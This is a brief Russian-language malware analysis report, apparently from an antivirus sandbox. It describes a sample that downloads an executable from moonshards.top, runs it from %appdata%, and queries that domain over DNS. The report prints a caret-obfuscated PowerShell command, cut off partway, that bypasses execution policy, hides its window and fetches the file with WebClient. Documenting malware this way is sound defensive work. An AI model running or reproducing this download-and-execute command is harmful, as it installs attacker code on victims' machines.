Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOwe^r^shE^lL^.e^x^e^ ^-^E^xECut^I^ONpol^I^Cy by^p^AsS -^No^P^R^O^fIlE^ -WiND^Ow^STY^le^ ^hi^d^dEN (NE^w^-^objEct ^s^YsTe^m.^NE^T.w^ebC^l^i^e^nT)^.^D^owNLo^a^dfIlE^('http://moo...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOwe^r^shE^lL^.e^x^e^ ^-^E^xECut^I^ONpol^I^Cy by^p^AsS -^No^P^R^O^fIlE^ -WiND^Ow^STY^le^ ^hi^d^dEN (NE^w^-^objEct ^s^YsTe^m.^NE^T.w^ebC^l^i^e^nT)^.^D^owNLo^a^dfIlE^('http://moo...' (со скрытым окном)
